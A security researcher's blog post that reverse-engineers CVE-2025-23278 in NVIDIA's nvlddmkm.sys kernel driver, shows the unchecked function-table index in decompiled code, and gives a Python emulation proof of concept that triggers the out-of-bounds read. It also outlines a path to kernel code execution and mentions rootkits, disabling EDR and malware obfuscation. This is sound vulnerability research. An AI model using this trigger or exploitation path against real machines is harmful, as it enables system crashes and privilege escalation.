Search This Blog

10/1/25

Dissecting CVE-2025-23278 NVIDIA Kernel Driver Exploitation

An In-Depth Journey into NVIDIA Kernel Driver Exploitation

(Note: This article is for educational and security research purposes only. The information provided should not be used for any malicious activities, nor I bear any responsibility for any misuse of it)

On July 24, 2025, NVIDIA published a security bulletin that immediately caught my attention. It detailed several new vulnerabilities, but two, in particular, stood out as a fascinating side-project for honing my reverse engineering and vulnerability analysis skills:

CVE Component Type Severity
CVE‑2025‑23276 NVInstaller.exe Installer Privilege Escalation 7.8 (High)
CVE‑2025‑23278 nvlddmkm.sys Invalid Index Access (Kernel) 7.1 (High)

While installer vulnerabilities are a rich field, my focus was drawn to the kernel. CVE-2025-23278 was described as an “improper index validation” that could lead to “data tampering or denial of service.” This is often a sign of a memory corruption bug, which can be a gateway to full system compromise.

This post will document my journey dissecting CVE-2025-23278. We’ll go from a vague security advisory to a working proof-of-concept, exploring the hurdles, and the crucial differences between a failed and a successful exploit.

The Toolkit

For this investigation, I relied on a few key tools:
Ghidra: Reverse engineering suite.
Speakeasy: A Windows kernel and user-mode emulator from Mandiant, perfect for dynamic analysis without risking a real system.(I would love to see the BSOD, but unfortunately I have no spare machines for fooling around :( )
UniExtract2: For unpacking the NVIDIA installer to get to the driver files within, since I could not natively install the drivers.

Phase 1: The Setup - Acquiring the Target

The advisory stated that driver versions in the R575 branch prior to 577.00 were affected. The first step was to find and download a vulnerable driver. I settled on NVIDIA GeForce Graphics Driver 576.88 WHQL, released on July 1, 2025.

Driver Details:
File:576.88-desktop-win10-win11-64bit-international-dch-whql.exe
Size: 829.0 MB
SHA256:6151095ea7299ed4569649c2a04ff7f78659a40bd95d933d0ee063c8a2c2986a

Since I don’t have a spare physical machine with an NVIDIA GPU (and GPU passthrough to a VM will not work, as my host is patched), my plan was to extract the kernel driver and analyze it statically and dynamically through emulation. Using UniExtract2, I unpacked the installer and located the core kernel driver: nvlddmkm.sys.

Phase 2: Reverse Engineering with Ghidra

With the target binary in hand, I loaded nvlddmkm.sys into Ghidra. The initial analysis revealed a massive binary with over 10,000 functions and no public symbols (PDB file), as expected. This is where the real work begins.

Finding the Entry Point

My first goal was to find the driver’s main entry point, DriverEntry. In Ghidra’s “Symbol Tree,” under “Exports,” I didn’t find a function named DriverEntry. Instead, there was a single, simple export named entry. Symbol Tree

// Ghidra's decompilation of the exported 'entry' function
void entry(undefined8 param_1, undefined8 param_2) {
  __security_init_cookie();
  FUN_146c3c0b0(param_1, param_2); // The real initialization function
  return;
}

This is a common pattern where the exported function is just a wrapper. The real logic was inside FUN_146c3c0b0.

Locating the IOCTL Dispatcher

In Windows driver development, the DriverEntry function is responsible for setting up handlers for different types of I/O Request Packets (IRPs). The most interesting one for us is IRP_MJ_DEVICE_CONTROL, which handles IOCTLs sent from user-mode applications.

Inside the real DriverEntry function (FUN_146c3c0b0), I searched for assignments to the MajorFunction array of the DRIVER_OBJECT structure. I found a block of code that set the same function pointer for all major IRP types.

// Simplified decompilation from Ghidra
// param_1 is the DRIVER_OBJECT
puVar17 = (undefined8 *)(param_1 + 0x70); // MajorFunction array starts at offset 0x70

// Set the dispatch handlers
*puVar17 = FUN_1419887a0;                    // IRP_MJ_CREATE
*(code **)(param_1 + 0x78) = FUN_1419887a0; // IRP_MJ_CLOSE
*(code **)(param_1 + 0x80) = FUN_1419887a0; // IRP_MJ_READ
// ... and so on, including IRP_MJ_DEVICE_CONTROL ...

Pasted image 20251001181213.png This was a significant finding: a single, massive function, FUN_1419887a0, handles almost all communication from user-mode. This function was my prime suspect.

Uncovering the Vulnerability

Navigating to FUN_1419887a0, I found the code that processes incoming IOCTLs. The logic was complex, but one path immediately stood out.

// Vulnerable dispatch function at 0x1419887a0
undefined8 FUN_1419887a0(longlong param_1, longlong param_2)
{
  int iVar1;
  byte *pbVar2; // This will point to our user-controlled input buffer
  undefined8 uVar3;
  
  // 1. Get the input buffer from the IRP (param_2) at offset 0xb8
  pbVar2 = *(byte **)(param_2 + 0xb8);
  
  if (pbVar2 == (byte *)0x0) {
    FUN_140dbf7d0(); // Error handling
  }

  // 2. Get a type value from the Device Object (param_1) at offset 0x48
  iVar1 = *(int *)(param_1 + 0x48);
  ------
   if (iVar1 == 0x4a6e) {   // ... some checks for specific device types ... I assume
    if (DAT_1412503bd != '\0') {
      uVar3 = FUN_141987f50(param_1,param_2);
      return uVar3;
    }
  }
  else {
    if (iVar1 == 0x90de) {
    // A vulnerable path
      uVar3 = (**(code **)(&DAT_141287dc0 + (ulonglong)*pbVar2 * 8))(param_1,param_2);
      return uVar3;
    }
     // 3. THE VULNERABLE DEFAULT PATH!
    // It takes the first byte of our input buffer (*pbVar2)...
    // ...multiplies it by 8...
    // ...adds it to a base address (0x141287ce0)...
    // ...and CALLS the address it finds there!
    if (iVar1 != 0xa033) {
      if (iVar1 != 0xa0de) {
        uVar3 = (*(code *)(&PTR_141287ce0)[*pbVar2])(param_1);
        return uVar3;
      }
      uVar3 = FUN_1418fcb50(param_1,param_2);
      return uVar3;
    }
  }
  return 0xc0000002;
}
  

This is the vulnerability in plain sight. There is absolutely no check to ensure the value of *pbVar2 is within a valid range. An attacker can provide any byte value from 0 to 255. This value is used as an index into a function pointer table located at 0x141287ce0.

Analyzing the Function Table

My next step was to see how large this function table actually was. I navigated to 0x141287ce0.

Hurdle: Ghidra had misinterpreted this data region as code, showing a mess of ADD instructions. Solution: 1. Go to the address 141287ce0. 2. Select the memory range and press C (or right-click -> “Clear Code Bytes”). 3. Right-click the start of the range and select Data -> pointer. Ghidra correctly identified a series of 8-byte pointers.

Here’s what the table looked like after correction:

Address Points To Index
0x141287ce0 FUN_... 0
0x141287ce8 FUN_... 1
0x141287cf0 FUN_... 2
0x141287cf8 FUN_... 3
0x141287d00 FUN_... 4
0x141287d08 DAT_... 5 (End of table)
Function Table

The table only has 5 valid entries (indices 0-4). Any index of 5 or greater will cause the driver to read a “function pointer” from memory outside of this table and attempt to execute it. This is a classic out-of-bounds read leading to a controlled-call vulnerability.

Phase 3: The Proof - Emulation with Speakeasy

Static analysis is great, but proving the vulnerability requires dynamic execution. This is where Speakeasy comes in. But before I begin with this section i wanted to express my opinion and to make some warnings about using Speakeasy to emulate drivers. Emulating this large and complex drivers is ABSOLUTE HELL. In my case I had to use Speakeasy as a python library, because I had to establish memory hooks and much more, thus the CLI of Speakeasy was of no use, and loading this massive driver(111MB) takes an ENOURMOUS amount of time. Disabling the production of Memory Dumps and Strings Extractions did sped up the whole process, but oftentimes doing this, meant to use custom config.json(for Speakeasy) when running the exploit, which was pretty unstable. The emulations from start to finish took 1h to 2h. Yes, this makes future testings and validations of POCs and exploits for such cases with complex drivers almost impractical. I am still looking for ways to circumvent this issue, but to no avail, so I will be glad, someone reading this article to share experience and/or suggestions. Use the Contact Form(for now comments will stay disabled) on this page.

Final words about Speakeasy - honestly great tool for emulation and it would work perfectly with smaller pieces of files. The CLI version of it is also good. This was to be expected from Python tool.

To continue, I wrote two Python scripts to simulate the attack.

Attempt #1:

My first script was simple. It used Speakeasy’s default configuration, set up the necessary IRP and Device Object structures, placed a malicious index (255) in the input buffer, and called the vulnerable function, wrapping it in a try...except block to catch a crash.

# minimal.py - Abridged
se = speakeasy.Speakeasy()
driver = se.load_module(driver_path)
se.run_module(driver) # Initialize DriverEntry

# ... (setup IRP, Device Object, and input buffer with index 255) ...

try:
    print("Calling vulnerable dispatch function")
    result = se.call(dispatch_function, [device_addr, irp_addr])
    print(f"Function returned without exception: {result}")
except Exception as e:
    exception_occurred = True
    print(f"\n[!!!] EXCEPTION TRIGGERED!")

I ran it, and… nothing.

Calling vulnerable dispatch function...
Function returned without exception: None
...
No exception triggered - check report for details

Why did it fail? This was a crucial learning moment. An out-of-bounds read doesn’t guarantee a crash. The calculated address (0x141287ce0 + 255 * 8 = 0x1412884d8) was still within the driver’s mapped memory. The CPU happily read 8 bytes of garbage data from that location and tried to call it. Since that garbage value was likely 0x0000000000000000 or another non-executable but readable address, the emulator simply returned None instead of raising a hardware exception. Although, I suppose on an actual natively installed driver this would have already caused the lovely BSOD.

Attempt #2: A More Refined Approach

I needed a more precise way to detect the vulnerability. Instead of waiting for a crash, I needed to watch the memory access itself. Speakeasy’s memory hooking is perfect for this.

The second script, inherits from the Speakeasy class and installs a custom memory read hook.

# new.py - The memory hook
def hook_mem_read(self, emu, access, address, size, value, ctx=None):
    table_start = self.function_table_base  # 0x141287ce0
    table_end = table_start + (self.valid_table_size * 8) # 0x141287d08
    
    # Check if the read is within the valid table
    if address >= table_start and address < table_end:
        index = (address - table_start) // 8
        print(f"Valid table access: index={index}, addr={hex(address)}")
    # Check if the read is just outside the table, where we expect it
    elif address >= table_end and address < (table_start + (256 * 8)):
        index = (address - table_start) // 8
        print(f"\n ═══════════════════════════════════════")
        print(f"OUT-OF-BOUNDS TABLE ACCESS DETECTED!")
        print(f"    Index: {index} (valid range: 0-4)")
        print(f"    Address: {hex(address)}")
        print(f"    Beyond table by: {address - table_end} bytes")
        print(f"═════════════════════════════════════════\n")
        self.vuln_triggered = True

This time, the script didn’t wait for an exception. It actively monitored every read operation. When the vulnerable function tried to read from an address outside the 0x141287ce0 - 0x141287d07 range, my hook would fire.

The result was a resounding success.

======================================================================
[TEST] FIRST OOB INDEX: index=5
======================================================================
OUT-OF-BOUNDS index - will access: 0x141287d08
Beyond table by: 0 bytes

Calling dispatch function at 0x1419887a0
...
═══════════════════════════════════════════════
OUT-OF-BOUNDS TABLE ACCESS DETECTED!
═══════════════════════════════════════════════
    Index: 5 (valid range: 0-4)
    Address: 0x141287d08
    Beyond table by: 0 bytes
═══════════════════════════════════════════════

...

======================================================================
FINAL TEST SUMMARY
======================================================================
Vulnerability triggered: True
Out-of-bounds accesses detected: 3

The hook successfully detected every out-of-bounds read attempt, confirming the vulnerability with precision.

The complete POC:

import speakeasy
import struct
import sys

class NvidiaVulnTester(speakeasy.Speakeasy):
    def __init__(self):
        super().__init__()
        
        if hasattr(self, 'emu') and hasattr(self.emu, 'profiler'):
            self.emu.profiler.strings = {'ansi': set(), 'unicode': set()}
            original_add_string = self.emu.profiler.add_string
            def noop_add_string(s, stype='ansi'):
                return
            self.emu.profiler.add_string = noop_add_string
            print("String profiler disabled")
        else:
            print("Profiler not accessible, proceeding anyway")
        
        self.vuln_triggered = False
        self.oob_accesses = []
        self.function_table_base = 0x141287ce0
        self.valid_table_size = 5
        self.dispatch_function = 0x1419887a0
        
    def setup_hooks(self):
        print("Setting up memory read hook...")
        self.emu.add_mem_read_hook(self.hook_mem_read)
        print("Memory hooks installed")
            
    def hook_mem_read(self, emu, access, address, size, value, ctx=None):
        table_start = self.function_table_base
        table_end = table_start + (self.valid_table_size * 8)
        
        if address >= table_start and address < table_end:
            index = (address - table_start) // 8
            print(f"Valid table access: index={index}, addr={hex(address)}")
        elif address >= table_end and address < (table_start + (256 * 8)):
            index = (address - table_start) // 8
            print(f"\n═══════════════════════════════════════════════")
            print(f"OUT-OF-BOUNDS TABLE ACCESS DETECTED!")
            print(f"═══════════════════════════════════════════════")
            print(f"    Index: {index} (valid range: 0-{self.valid_table_size-1})")
            print(f"    Address: {hex(address)}")
            print(f"    Beyond table by: {address - table_end} bytes")
            print(f"═══════════════════════════════════════════════\n")
            self.vuln_triggered = True
            self.oob_accesses.append({
                'index': index,
                'address': address,
                'offset': address - table_end
            })
            
    def create_ioctl_irp(self, device_type, input_buffer, input_size):
        irp_addr = self.mem_alloc(0x2000, tag='test.irp')
        buffer_addr = self.mem_alloc(input_size, tag='test.input')
        self.mem_write(buffer_addr, input_buffer)
        
        self.mem_write(irp_addr + 0x30, struct.pack('<I', 0))
        self.mem_write(irp_addr + 0xb8, struct.pack('<Q', buffer_addr))
        
        print(f"Created IRP at {hex(irp_addr)}")
        print(f"Input buffer at {hex(buffer_addr)} (size: {input_size} bytes)")
        
        return irp_addr, buffer_addr
        
    def create_device_object(self, device_type):
        dev_obj_addr = self.mem_alloc(0x1000, tag='test.device')
        self.mem_write(dev_obj_addr + 0x48, struct.pack('<I', device_type))
        
        print(f"Created DEVICE_OBJECT at {hex(dev_obj_addr)}")
        print(f"Device type: {hex(device_type)}")
        
        return dev_obj_addr
        
    def call_dispatch_function(self, dev_obj, irp, index):
        print(f"\nCalling dispatch function at {hex(self.dispatch_function)}")
        print(f"Parameters: DeviceObject={hex(dev_obj)}, IRP={hex(irp)}")
        print(f"Index in buffer: {index}")
        
        try:
            result = self.call(self.dispatch_function, [dev_obj, irp])
            print(f"Dispatch function returned: {hex(result) if isinstance(result, int) else result}")
            return result
        except Exception as e:
            print(f"Exception during dispatch: {e}")
            import traceback
            traceback.print_exc()
            return None
        
    def test_index(self, index, description):
        print(f"\n{'='*70}")
        print(f"[TEST] {description}: index={index}")
        print(f"{'='*70}")
        
        input_buffer = struct.pack('B', index) + b'\x00' * 31
        irp, buf_addr = self.create_ioctl_irp(0x1234, input_buffer, len(input_buffer))
        dev_obj = self.create_device_object(0x1234)
        
        target_addr = self.function_table_base + (index * 8)
        is_valid = index < self.valid_table_size
        
        if is_valid:
            print(f"VALID index - will access: {hex(target_addr)}")
        else:
            oob_bytes = (index - self.valid_table_size) * 8
            print(f"OUT-OF-BOUNDS index - will access: {hex(target_addr)}")
            print(f"Beyond table by: {oob_bytes} bytes")
        
        self.call_dispatch_function(dev_obj, irp, index)
        
        return irp, dev_obj
        
    def run_vulnerability_tests(self, driver_path):
        print(f"\n{'#'*70}")
        print(f"# CVE-2025-23278 Vulnerability POC")
        print(f"# Target: {driver_path}")
        print(f"{'#'*70}\n")
        
        print("Loading NVIDIA driver...")
        try:
            driver = self.load_module(driver_path)
            print(f"Driver loaded successfully")
            print(f"Base address: {hex(driver.base)}")
            print(f"ispatch function at: {hex(self.dispatch_function)}")
        except Exception as e:
            print(f"Failed to load driver: {e}")
            import traceback
            traceback.print_exc()
            return None
            
        print("Installing monitoring hooks...")
        self.setup_hooks()
        
        print("Executing DriverEntry to initialize driver...")
        try:
            self.run_module(driver)
            print("DriverEntry executed - function table should be initialized")
        except Exception as e:
            print(f"DriverEntry failed (may be expected): {e}")
            
        print("\n" + "="*70)
        print("PHASE 1: Testing VALID index (baseline)")
        print("="*70)
        self.test_index(2, "VALID INDEX")
            
        print("\n" + "="*70)
        print("PHASE 2: Testing FIRST OUT-OF-BOUNDS index")
        print("="*70)
        self.test_index(5, "FIRST OOB INDEX")
        
        print("\n" + "="*70)
        print("PHASE 3: Testing SIGNIFICANTLY OUT-OF-BOUNDS index")
        print("="*70)
        self.test_index(10, "SIGNIFICANTLY OOB INDEX")
        
        print("\n" + "="*70)
        print("PHASE 4: Testing MAXIMUM OUT-OF-BOUNDS index")
        print("="*70)
        self.test_index(255, "SMOKED OOB INDEX")
        
        print("\n" + "="*70)
        print("FINAL TEST SUMMARY")
        print("="*70)
        print(f"Vulnerability triggered: {self.vuln_triggered}")
        print(f"Out-of-bounds accesses detected: {len(self.oob_accesses)}")
        
        if self.oob_accesses:
            print("\nDETECTED OUT-OF-BOUNDS ACCESSES:")
            for i, access in enumerate(self.oob_accesses, 1):
                print(f"\n  Access #{i}:")
                print(f"    Index: {access['index']}")
                print(f"    Address: {hex(access['address'])}")
                print(f"    Beyond table: +{access['offset']} bytes")
        else:
            print("\n[*] No out-of-bounds accesses detected")
        
        return None

if __name__ == "__main__":

    driver_path = sys.argv[1]
    
    print("""
    ╔═══════════════════════════════════════════════════════════╗
    ║  CVE-2025-23278 Vulnerability POC                         ║
    ║  NVIDIA nvlddmkm.sys - Invalid Array Index Vulnerability  ║
    ║  ACTIVE DISPATCH FUNCTION TESTING                         ║
    ║  TFLL37                                                   ║
    ╚═══════════════════════════════════════════════════════════╝
    """)
    
    tester = NvidiaVulnTester()
    tester.run_vulnerability_tests(driver_path)
    
    print("\n+++++++++++++FINISHED+++++++++++++")

Phase 4: Exploitation, Impact, and Real-World Parallels

With the vulnerability confirmed, let’s consider the impact.

Denial of Service (BSOD)

This is the most straightforward outcome. By providing an index that points to an unmapped or non-executable memory page, the driver will attempt to call an invalid address. This results in an immediate kernel panic and a Blue Screen of Death (BSOD), crashing the entire system. Any local user or application could trigger this, making it a high-availability risk.

Data Tampering and Information Disclosure

The vulnerability is an out-of-bounds read. This means an attacker could carefully choose an index to read 8 bytes of data from a known offset in kernel memory. This could leak kernel pointers or other sensitive data, which is a critical step in bypassing security mitigations like Kernel Address Space Layout Randomization (KASLR). While the CVE description mentions “data tampering,” this would typically require an out-of-bounds write. However, a controlled call could be used to invoke a function that modifies data, achieving the same effect indirectly.

Arbitrary Code Execution (ACE)

Achieving full code execution is the goal. The path would look like this:

  1. Memory Leak: Use the OOB read or another vulnerability to leak kernel addresses and defeat KASLR.
  2. Control Memory: Find a way to write a controlled value (the address of shellcode) to a predictable location in kernel memory just beyond the function table. This often requires a second vulnerability or a technique like memory spraying.
  3. Trigger the Call: Send the IOCTL with the crafted index that points to the attacker-controlled memory location.
  4. Execute Shellcode: The driver reads the attacker-provided address and jumps to it, executing the shellcode with kernel (SYSTEM) privileges.

Malicious programs

CVE-2025-23278 is a local privilege escalation (LPE) flaw(could be), meaning the attacker already needs to have code running on the machine.

However, it could easily be chained with a remote code execution (RCE) vulnerability (e.g., in a browser or network service). Once a malicious program gains initial user-level access, it could use this NVIDIA driver exploit to: 1. Escalate to SYSTEM privileges to disable security software (like EDR or antivirus). 2. Gain deep persistence by installing itself as a rootkit. 3. Cause mass disruption by simply triggering a BSOD on every infected machine.

This is reminiscent of how early exploits for vulnerabilities like BlueKeep (CVE-2019-0708) often just caused a BSOD, and how modern malware uses BYOVD (Bring Your Own Vulnerable Driver) attacks to gain kernel access by abusing legitimate, signed drivers. I kinda want to try looking more into the BYOVD concept and to try to do research sample of BYOVI(Bring Your Own Vulnerable Installer). I understand that bringing an 800MB installer is just funny but, after all this is just for the joke of doing the malw sample.

Conclusion and Future Work

This investigation was a fascinating journey from a one-line vulnerability description to an emulated proof-of-concept. The key takeaway was the critical importance of the detection method: a simple try...except block is not enough to catch subtle memory corruption bugs; active monitoring with hooks is essential.

My next steps in this research area will be to:

Analyze CVE-2025-23276 to understand the installer-level attack surface.(BIG IF)
Explore similar driver architectures from other vendors like AMD.
More portable and easier malware propagation(PURELY FOR RESEARCH PURPOSES!)
Malware obfuscation

Regarding the last point of Malware obfuscation, I have a pretty interesting idea(imo) that involves propositional logic complication. I have been spending time researching this and I am aware of the existing solutions to this idea, mine differs a bit(maybe). This is far more challenging and given the spare time I usually have alongside my university, I doubt this project will be realized any time soon.

BYE

TFLL37

P.S. #NAHALm4Life

Disclaimer: This article is provided for educational purposes only. I BEAR NO RESPONSIBLITY OR LIABILITY FOR ANY CONSEQUENCES RESULTING FROM THE USE OR MISUSE OF THE INFORMATION CONTAINED HEREIN.

Popular